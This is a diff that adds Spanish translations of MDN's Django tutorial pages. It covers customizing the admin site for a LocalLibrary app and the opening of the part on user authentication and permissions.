+<p>Ahora regresa a la página <strong>Home </strong>(usando el enlace <em>Home </em>de la barra superior) y observa las listas <strong>Author </strong>y <strong>Genre </strong>-- ya deberías tener algunos registros creados de cuando añadiste los nuevos libros, pero puedes crear algunos más.</p>
+
+<p>Lo que no vas a tener es <em>BookInstances</em>, porque estas no se crean de los libros (si bien puedes crear un <code>Book</code> desde una <code>BookInstance</code> -- esta es la naturaleza de los campos <code>ForeignKey</code>). Regresa a la página <em>Home </em>y presiona el botón <strong>Add </strong>relacionado para desplegar la pantalla <em>Add book instance</em>, como se muestra abajo. Nota el largo y globalmente único Id, que puede ser usado para identificar inequívocamente una única copia de un libro dentro de la biblioteca.</p>
+
+<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p>
+
+<p>Crea algunos de estos registros para cada uno de tus libros. Establece el status en <em>Available </em>para al menos algunos registros y en <em>On loan</em> para otros. Si el status es <strong>diferente </strong>de <em>Available</em>, especifica también una fecha de <em>Due back</em> (devolución).</p>
+
+<p>¡Eso es todo! Has aprendido a configurar y usar el sitio de administración. También has creado registros para <code>Book</code>, <code>BookInstance</code>, <code>Genre</code> y <code>Author</code> que podremos usar una vez que creemos nuestras propias views (vistas) y templates (plantillas).</p>
+
+<h2 id="Configuración_avanzada">Configuración avanzada</h2>
+
+<p>Django hace un gran trabajo al crear un sitio de administración básico usando la información de los modelos registrados:</p>
+
+<ul>
+ <li>Cada modelo tiene una lista de registros individuales, identificados por la cadena creada por el método <code>__str__()</code> del modelo, y enlazados a vistas/formularios de detalle para edición. Por defecto, esta vista de lista tiene un menú de acción en la parte superior que puedes usar para realizar operaciones de eliminación masiva de los registros.</li>
+ <li>Los formularios de detalle de registro del modelo para edición y adición de registros contienen todos los campos del modelo, organizados verticalmente en su orden de declaración. </li>
+</ul>
+
+<p>Posteriormente puedes personalizar la interfaz para hacerla incluso más fácil de usar. Algunas de las cosas que puedes hacer son:</p>
+
+<ul>
+ <li>Vistas de lista:
+  <ul>
+   <li>Añadir campos e información adicional desplegada para cada registro. </li>
+   <li>Añadir filtros para seleccionar qué registros se listan, basados en fechas u otros tipos de valores (ej. estado de préstamo del libro).</li>
+   <li>Añadir opciones adicionales al menú <em>Action </em>en las vistas de lista y elegir en qué lugar del formulario se despliega este menú.</li>
+  </ul>
+ </li>
+ <li>Vistas de detalle:
+  <ul>
+   <li>Elegir qué campos desplegar (o excluir), junto con su orden, agrupamiento, si son editables, el tipo de control a usarse, orientación, etc.</li>
+   <li>Añadir campos relacionados a un registro para permitir la edición en cadena (ej. proveer la capacidad de añadir y editar registros de libros mientras estás creando su registro de autor).</li>
+  </ul>
+ </li>
+</ul>
+
+<p>En esta sección observaremos unos cuantos cambios que mejorarán la interfaz de nuestra <em>LocalLibrary</em>, incluyendo la adición de más información a las listas de los modelos <code>Book</code> y <code>Author</code>, y mejorando el diseño de sus vistas de edición. No cambiaremos la presentación de los modelos <code>Language</code> y <code>Genre</code> debido a que solo tienen un campo cada uno, ¡por lo que no hay ningún beneficio real de hacerlo!</p>
+
+<p>Puedes encontrar una referencia completa de todas las opciones de personalización del sitio de administración en <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site</a> (Django Docs).</p>
+
+<h3 id="Registrar_una_clase_ModelAdmin">Registrar una clase ModelAdmin</h3>
+
+<p>Para cambiar la forma en la que un modelo se despliega en la interfaz de administración debes definir una clase <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> (que describe el diseño) y registrarla con el modelo.</p>
+
+<p>Comencemos con el modelo Author. Abre <strong>admin.py</strong> en la aplicación catalog (<strong>/locallibrary/catalog/admin.py</strong>). Comenta tu registro original para el modelo <code>Author</code> (colocando el prefijo # en la línea):</p>
+
+<pre class="brush: js"># admin.site.register(Author)</pre>
+
+<p>Ahora añade una nueva clase <code>AuthorAdmin</code> y regístrala como se muestra abajo.</p>
+
+<pre class="brush: python"># Define the admin class
+class AuthorAdmin(admin.ModelAdmin):
+    pass
+
+# Register the admin class with the associated model
+admin.site.register(Author, AuthorAdmin)
+</pre>
+
+<p>Ahora añadiremos clases <code>ModelAdmin </code>para <code>Book</code>, y <code>BookInstance</code>. De nuevo, debemos comentar nuestros registros originales:</p>
+
+<pre class="brush: python">#admin.site.register(Book)
+#admin.site.register(BookInstance)</pre>
+
+<p>Ahora, para crear y registar los nuevos modelos usaremos, para propósitos de esta demostración, la expresión <code>@register </code>para registrar los modelos (hace exactamente lo mismo que <code>admin.site.register()</code>):</p>
+
+<pre class="brush: python"># Register the Admin classes for Book using the decorator
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    pass
+
+# Register the Admin classes for BookInstance using the decorator
+
+@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    pass
+</pre>
+
+<p>Al momento todas nuestras clases de administración estás vacías (observa "pass"), así que el comportamiento de administración ¡no cambiará! Ahora podemos extenderlas para definir nuestro comportamiento de administración específico para cada modelo.</p>
+
+<h3 id="Configurar_las_vistas_de_lista">Configurar las vistas de lista</h3>
+
+<p>La <em>LocalLibrary</em> actualmente lista todos los autores usando el nombre generado por el método <code>__str__()</code> del modelo. Esto funciona bien cuando solo tienes unos pocos autores, pero una vez que tienes muchos puedes terminar teniendo duplicados. Para diferenciarlos, o simplemente para mostrar información más interesante sobre cada autor, puedes usar <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> para añadir otros campos a la vista.</p>
+
+<p>Reemplaza tu clase <code>AuthorAdmin </code>con el código de abajo. Los nombres de campos a ser desplegados en la lista están declarados en una tupla en el orden requerido, como se muestra (estos son los mismos nombres especificados en tu modelo original).</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+</pre>
+
+<p>Recarga el sitio y navega hacia la lista de autores. Ahora deberían desplegarse los campos de arriba, así:</p>
+
+<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p>
+
+<p>Para nuestro modelo <code>Book</code> desplegaremos adicionalmente el <code>author</code> y <code>genre</code>. El <code>author</code> es un campo de relación tipo <code>ForeignKey</code> (uno a uno), y por tanto estará representado por el valor <code>__str__()</code> del registro asociado. Reemplaza la clase BookAdmin con la versión de abajo.</p>
+
+<pre>class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')</pre>
+
+<p>Desafortunadamente, no podemos especificar directamente el campo <code>genre</code> en <code>list_display</code> porque es un campo <code>ManyToManyField</code> (Django previene esto porque habría un alto "costo" de acceso a base de datos si lo hiciera). En lugar de eso, definiremos una función <code>display_genre</code> para obtener la información como una cadena (esta es la función que hemos llamado arriba; la definiremos más abajo).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Obtener el <code>genre </code>podría no ser una buena idea aquí, debido al "costo" de la operación en la base de datos. Te mostramos cómo hacerlo porque llamar funciones desde tus modelos puede ser muy útil por otras razones -- por ejemplo para añadir un enlace <em><strong>Delete</strong></em> junto a cada ítem en la lista.</p>
+</div>
+
+<p>Añade el siguiente código en tu modelo <code>Book</code> (<strong>models.py</strong>). Esto crea una cadena con los tres primeros valores del campo <code>genre</code> (si existen) y crea una <code>short_description</code> (descripción corta) que puede ser usada en el sitio de administración por este método.</p>
+
+<pre class="brush: python">    def display_genre(self):
+        """
+        Creates a string for the Genre. This is required to display genre in Admin.
+        """
+        return ', '.join([ genre.name for genre in self.genre.all()[:3] ])
+    display_genre.short_description = 'Genre'
+</pre>
+
+<p>Después de guardar el modelo y actualizar admin, recarga el sitio y ve a la página de lista de <em>Books</em> (libros), deberías ver una lista de libros como la de abajo:</p>
+
+<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p>
+
+<p>El modelo <code>Genre</code> (y el modelo <code>Language</code>, si lo definiste) tiene un solo campo, por lo que no tiene sentido crear un modelo adicional para el mismo para desplegar campos adicionales.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Vale la pena actualizar el modelo <code>BookInstance</code> para mostrar al menos el estado y fecha de devolución esperada. ¡Lo hemos añadido como un reto al final de este artículo!</p>
+</div>
+
+<h3 id="Añadir_filtros_de_lista">Añadir filtros de lista</h3>
+
+<p>Una vez que tienes muchos ítems en una lista, puede ser útil filtrar los ítems que se despliegan. Esto se hace listando campos en el atributo <code>list_filter</code>. Reemplaza tu clase <code>BookInstanceAdmin</code> actual con el fragmento de código de abajo.</p>
+
+<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin):
+<strong>    list_filter = ('status', 'due_back')</strong>
+</pre>
+
+<p>La vista de lista incluirá ahora un cuadro de filtrado a la derecha. Nota como puedes elegir fechas y estados para filtrar los valores:</p>
+
+<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p>
+
+<h3 id="Organizar_el_diseño_de_vista_detallada">Organizar el diseño de vista detallada</h3>
+
+<p>Por defecto, las vistas detalladas organizan todos los campos verticalmente, en su órden de declaración en el modelo. Puedes cambiar el orden de declaración, qué campos se despliegan (o excluyen), si se usa secciones para organizar la información, si los campos se despliegan en horizontal o vertical, e incluso qué controles de edición se usan en los formularios de administración.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los modelos de la <em><strong>LocalLibrary </strong></em>son relativamente simples, por lo que no tenemos una gran necesidad de cambiar el diseño; sin embargo haremos algunos cambios solo para mostrarte cómo.</p>
+</div>
+
+<h4 id="Controlando_qué_campos_son_desplegados_y_ordenados">Controlando qué campos son desplegados y ordenados</h4>
+
+<p>Actualiza tu clase <code>AuthorAdmin </code>para añadir la línea <code>fields</code>, como se muestra abajo (en negrita):</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+<strong>    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong>
+</pre>
+
+<p>El atributo <code>fields</code> lista solo los campos que se van a desplegar en el formulario, en orden. Los campos se despliegan en vertical por defecto, pero se desplegarán en horizontal si los agrupas en una tupla (como se muestra en los campos "date" arriba).</p>
+
+<p>Reinicia tu aplicación y ve a la vista de detalle de autor -- ahora debería aparecer como se muestra abajo:</p>
+
+<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes también usar el atributo <code>exclude</code> para declarar una lista de atributos que se excluirán del formulario (todos los demás atributos en el modelo se desplegarán).</p>
+</div>
+
+<h4 id="Seccionando_la_vista_de_detalle">Seccionando la vista de detalle</h4>
+
+<p>Puedes añadir "secciones" para agrupar información relacionada del modelo dentro del formulario de detalle, usando el atributo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets.</a></p>
+
+<p>En el modelo BookInstance tenemos información relacionada a cuál es el libro (ej. <code>name</code>, <code>imprint</code> e <code>id</code>) y a cuándo estará disponible (<code>status</code>, <code>due_back</code>). Podemos configurarlas en diferentes secciones añadiendo el texto en negrita a nuestra clase <code>BookInstanceAdmin</code>.</p>
+
+<pre class="brush: python">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+<strong>    fieldsets = (
+        (None, {
+            'fields': ('book', 'imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back')
+        }),
+    )</strong></pre>
+
+<p>Cada sección tiene su propio título (o <code>None</code>, si no quieres un título) y una tupla de campos asociada en un diccionario -- el formato es complicado de describir pero bastante fácil de entender si observas el fragmento de código que se encuentra justo arriba.</p>
+
+<p>Reinicia y navega a una vista de instancia de libro (book instance); el formulario debería aparecer como se muestra abajo:</p>
+
+<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p>
+
+<h3 id="Edición_en_cadena_de_registros_asociados">Edición en cadena de registros asociados</h3>
+
+<p>A veces puede tener sentido el añadir registros asociados al mismo tiempo. Por ejemplo, puede tener sentido el tener información tanto de un libro como de las copias específicas que has adquirido del mismo, en la misma página de detalle.</p>
+
+<p>Puedes hacerlo declarando <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>, de tipo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (diseño horizontal) o <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (diseño vertical, tal como el diseño de modelo por defecto). Puedes añadir la información de <code>BookInstance</code> dentro de nuestro detalle de <code>Book</code> añadiendo las líneas de abajo en negrita cerca de tu <code>BookAdmin</code>:</p>
+
+<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline):
+    model = BookInstance</strong>
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+<strong>    inlines = [BooksInstanceInline]</strong>
+</pre>
+
+<p>Prueba recargando tu aplicación y observando la vista para un libro -- ahora deberías ver al final las instancias relacionadas a este libro (inmediatamente debajo de los campos de género del libro):</p>
+
+<p><img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p>
+
+<p>En este caso, todo lo que hemos hecho es declarar nuestra clase encadenada tabular, que simplemente añade todos los campos del modelo <em>encadenado</em>. Puedes especificar toda clase de información adicional para el diseño incluyendo los campos a mostrar, su órden, si son solo de lectura o no, etc. (ve <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> para más información).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡hay algunas lamentables limitaciones a esta funcionalidad! En la captura de pantalla de arriba tenemos tres instancias del libro existentes, seguidas de tres lugares para nuevas instancias del libro (¡que se ven muy similares!). Sería mejor NO tener instancias extras por defecto del libro y simplemente añadirlas mediante el enlace <strong>Add another Book instance</strong>, o poder simplemente listar las <code>BookInstances</code> como enlaces no legibles desde aquí. La primera opción puede hacerse estableciendo el atributo <code>extra</code> a 0 en el modelo <code>BookInstanceInline</code>, inténtalo tú mismo.</p>
+</div>
+
+<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2>
+
+<p>Hemos aprendido mucho en esta sección, así que es hora de que intentes algunas cosas.</p>
+
+<ol>
+ <li>Para la vista de lista de <code>BookInstance</code>, añade código para desplegar el libro, estado, fecha de devolución e id (en lugar del texto por defecto de <code>__str__()</code>).</li>
+ <li>Añade una lista encadenada de ítems <code>Book</code> (libros) a la vista detallada de <code>Author</code> usando el mismo método que usamos para <code>Book</code>/<code>BookInstance</code>.</li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>¡Eso es todo! Ahora has aprendido cómo configurar el sito de administración tanto en su forma más simple como la mejorada, cómo crear un super usuario, y cómo navegar en el sitio de administración y ver, borrar y actualizar registros. Durante el proceso has creado un grupo de libros, instancias de libros, géneros y autores que seremos capaces de listar y desplegar una vez que creemos nuestras propias vistas y plantillas.</p>
+
+<h2 id="Siguientes_lecturas">Siguientes lecturas</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/#introducing-the-django-admin">Escribiendo tu primera aplicación Django, parte 2: Introducción a Django Admin</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">El sitio de administración de Django </a>(Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/authentication/index.html b/files/es/learn/server-side/django/authentication/index.html
new file mode 100644
index 0000000000..af07915ad9
--- /dev/null
+++ b/files/es/learn/server-side/django/authentication/index.html
@@ -0,0 +1,714 @@
+---
+title: 'Tutorial de Django Parte 8: Autenticación y permisos de Usuario'
+slug: Learn/Server-side/Django/Authentication
+tags:
+  - Aprender
+  - Artículo
+  - Autenticacion de Django
+  - Autenticación
+  - Principiante
+  - Python
+  - Sesiones
+  - Tutorial
+  - django autenticación
+  - permisos
+translation_of: Learn/Server-side/Django/Authentication
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">En este tutorial mostraremos cómo permitir a los usuarios iniciar sesión en tu sitio con sus propias cuentas, y cómo controlar lo que pueden hacer basándose en si han iniciado sesión o no y sus <em>permisos</em>. Como parte de esta demostración extenderemos el sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style="font-size: 1.25rem;">BibliotecaLocal</a>, añadiendo páginas de inicio y cierre de sesión, y páginas específicas de usuarios y personal de la biblioteca para ver libros que han sido prestados.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Completa todos los temas del tutorial anterior, incluyendo: <a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender como configurar y usar la autenticación de usuario y los permisos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Django proporciona un sistema de autenticación y autorización ("permisos"), construido sobre el framework de sesión discutido en el <a href="/en-US/docs/Learn/Server-side/Django/Sessions">tutorial anterior</a>, que le permite verificar credenciales de usuario y definir que acciones puede realizar cada usuario. El framework incluye modelos para <code>Users</code> y <code>Groups</code> (una forma genérica de aplicar permisos a más de un usuario a la vez), permisos/indicadores (permissions/flags) que designan si un usuario puede realizar una tarea, formularios y vistas para iniciar sesión en los usuarios, y view tools para restringir el contenido.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Según Django el sistema de autenticación pretende ser muy genérico, y, por lo tanto,  no proporciona algunas características proporcinadas en otros sistemas de autenticación web. Las soluciones para algunos problemas están disponibles como paquetes de terceros. Por ejemplo, regulación de intentos de inicio de sesión y autenticación frente a terceros (por ej. OAuth).</p>
+</div>
+
+<p>En este tutorial mostraremos cómo habilitar la autenticación de usuarios en el sitio web <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, crear tus propias páginas de login y logout, añadir permisos a tus modelos, y controlar el acceso a las páginas. Usaremos la autenticación/permisos para desplegar listas de libros que han sido solicitados tanto por los usuarios como por los bibliotecarios.</p>
+
+<p>El sistema de autenticación es muy flexible, y puedes crear tus URLs, formularios, vistas y plantillas desde el inicio si quieres, simplemente llamando a la API provista para loguear al usuario. Sin embargo, en este artículo vamos a usar las vistas y formularios de autenticación "en stock" de Django para nuestras páginas de login y logout. De todos modos necesitaremos crear algunas plantillas, pero eso es bastante fácil.</p>
+
+<p>Te mostraremos también cómo crear permisos, y revisar el estado de login y permisos tanto en vistas como en plantillas.</p>
+
+<h2 id="Habilitanto_la_autenticación">Habilitanto la autenticación</h2>
+
+<p>La autenticación fue habilitada automáticamente cuando <a href="/es/docs/Learn/Server-side/Django/skeleton_website">creamos el sitio web esqueleto</a> (en el tutorial 2), así que no necesitas hacer nada más en este punto.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Toda la configuración necesaria fue hecha por nosotros cuando creamos la aplicación usando el comando <code>django-admin startproject</code>. Las tablas de base de datos para los usuarios y permisos de modelo fueron creados la primera vez que ejecutamos <code>python manage.py migrate</code>.</p>
+</div>
+
+<p>La configuración se establece en las secciones <code>INSTALLED_APPS</code> y <code>MIDDLEWARE</code> del archivo del proyecto (<strong>locallibrary/locallibrary/settings.py</strong>), como se muestra abajo:</p>
+
+<pre class="brush: python notranslate">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.auth',  </strong>#Core authentication framework and its default models.
+<strong>    'django.contrib.contenttypes',  #</strong>Django content type system (allows permissions to be associated with models).
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>  #Manages sessions across requests
+    ...
+<strong>    'django.contrib.auth.middleware.AuthenticationMiddleware',</strong>  #Associates users with requests using sessions.
+    ....
+</pre>
+
+<h2 id="Creando_usuarios_y_grupos">Creando usuarios y grupos</h2>
+
+<p>Ya creaste tu primer usuario cuando revisamos el <a href="/es/docs/Learn/Server-side/Django/Admin_site">sitio de administración de Django</a> en el tutorial 4 (fue un superusuario, creado con el comando <code>python manage.py createsuperuser</code>). Nuestro superusuario ya está autenticado y tiene todos los permisos, así que necesitaremos crear un usuario de prueba que represente un usuario normal del sitio. Estaremos usando el sitio de administración para crear los grupos y logins de nuestro sitio web <em>BibliotecaLocal</em>, ya que es una de las formas más rápidas de hacerlo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes también crear usuarios mediante programación, como se muestra abajo. Tendrías que hacerlo, por ejemplo, si estuvieras desarrollando una interfaz para permitir a los usuarios crear sus propios logins (no deberías dar a los usuarios acceso al sito de administración).</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.models import User
+
+# Create user and save to the database
+user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword')
+
+# Update fields and then save again
+user.first_name = 'John'
+user.last_name = 'Citizen'
+user.save()
+
+</pre>
+</div>
+
+<p>A continuación, primero crearemos un grupo y luego un usuario. Aunque no tengamos ningún permiso aún para otorgar a los miembros de nuestra biblioteca, si lo necesitamos para más adelante, será mucho más fácil otorgarlo una vez al grupo que individualmente a cada miembro.</p>
+
+<p>Inicia el servidor de desarrollo y navega hasta el sitio de administracion en tu navegador web local (<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>). Ingresa al sitio usando las credenciales de la cuenta de tu superusuario. El nivel superior del sitio de administracion "Admin site" muestra todos tus modelos, ordenados por la aplicacion por defecto de Django "django application". Desde la seccion de <strong>Autenticación y Autorización </strong>puedes dar click en los enlaces de <strong>Usuarios </strong>"Users" y <strong>Grupos </strong>"Groups" para ver todos sus registros existentes.</p>
+
+<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p>
+
+<p>Primero vamos a crear un nuevo grupo para los miembros de nuestra biblioteca.</p>
+
+<ol>
+ <li>Da click en el boton <strong>Add </strong>"Añadir" (Enseguida de Group) para crear un nuevo grupo ; ingresa el <strong>Nombre </strong>"Name" para el grupo de "Library Members".<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li>
+ <li>No necesitamos de ningun permiso para el grupo , entonces solo presiona Save (Seras redirigido a una lista de los grupos disponibles).</li>
+</ol>
+
+<p>Ahora vamos a crear un usuario:</p>
+
+<ol>
+ <li>Navega de vuelta a la pagina de inicio "home" del sitio de administracion "Admin site".</li>
+ <li>Da click en el boton <strong>Add </strong>"Añadir" que queda enseguida de Users "Usuarios" para abrir el cuadro de dialogo de Usuario <strong>Add </strong>"Añadir usuario".<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li>
+ <li>Ingresa un <strong>Nombre de Usuario </strong>"Username", <strong>Contraseña </strong>"Password" y <strong>Confirmacion de Contraseña</strong> "Password confirmation" apropiado para tu usuario de prueba.</li>
+ <li>Presiona <strong>Save </strong>"Guardar" para crear el usuario.<br>
+  <br>
+  El sitio de administrador creara el nuevo usuario e inmediatamente te llevara a la pantalla de <em>Change user  </em>"Cambios del usuario" donde puedes cambiar tu <strong>nombre de usuario</strong> "Username" y agregar informacion para los campos opcionales del modelo de Usuario "User". Estos campos incluyen el primer nombre "first name", el apellido "last name", la direcion de correo electronico "email adress", los estados de los usuarios y sus permisos "users status and permissions" (solo el indicador <strong>Active </strong>"Activo" deberia ser activado). Mas abajo puedes especificar los grupos y permisos del usuario, y ver datos importantes relacionados a el usuario (ej: la fecha en que se agrego y la fecha del ultimo inicio de sesion)</li>
+ <li><img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li>
+ <li>En la seccion <em>Groups</em> "Grupos", selecciona el grupo <strong>Library Member</strong> de  la lista de grupos disponibles, y entonces presiona la <strong>la flecha apuntando a la derecha </strong>entre las dos cajas para moverlo dentro de la caja de <em>Chosen groups </em>"Grupos seleccionados".<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li>
+ <li>Aqui no necesitamos hacer nada adicional, entonces de nuevo solo seleciona <strong>SAVE</strong> "Guardar", para ir a la lista de usuarios.</li>
+</ol>
+
+<p>¡Esta hecho! Ahora tienes la cuenta de un miembro normal de la libreria, el cual estara disponible para ser usado en tus pruebas (una vez que hayamos implementado las paginas para permitirles iniciar sesion).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Deberias intentar crear otro usuario miembro de <em>library.  </em>Al igual que un grupo para los bibliotecarios <em>"Librarians",  </em>¡y agregar usuarios a este tambien! </p>
+</div>
+
+<h2 id="Configurando_nuestras_vistas_de_autenticación">Configurando nuestras vistas de autenticación</h2>
+
+<p>Django provee todo lo necesario para crear las páginas de autenticación para manejar inicio y cierre de sesión y gestión de contraseñas "fuera de la caja". Esto incluye un mapeador de URL, vistas "views" y formularios "forms", pero no incluye las plantillas "templates", ¡Tenemos que crear las nuestras!</p>
+
+<p>En esta sección, mostramos cómo integrar el sistema por defecto en el sitio web de <em>BibliotecaLocal </em>y crear plantillas "templates". Las incluiremos en las URLs principales del proyecto.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: No tienes que usar nada de este código, pero es probable que quieras hacerlo porque hace las cosas mucho más fáciles. Seguramente necesitará cambiar el código de manejo de formularios si cambia su modelo de usuario (¡un tema avanzado!) pero aun asi, todavía podrá usar las funciones de vista de stock.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota: </strong>En este caso podríamos razonablemente poner las páginas de autenticación, incluyendo las direcciones URL y plantillas, dentro de nuestra aplicación de catálogo. Sin embargo, si tuviéramos varias aplicaciones, sería mejor separar este comportamiento de inicio de sesión compartido y tenerlo disponible en todo el sitio, ¡así que eso es lo que hemos mostrado aquí!</p>
+</div>
+
+<h3 id="URLs_del_proyecto">URL's del proyecto</h3>
+
+<p>Añade el siguiente codigo al final del archivo url.py del proyecto (<strong>locallibrary/locallibrary/urls.py</strong>) :</p>
+
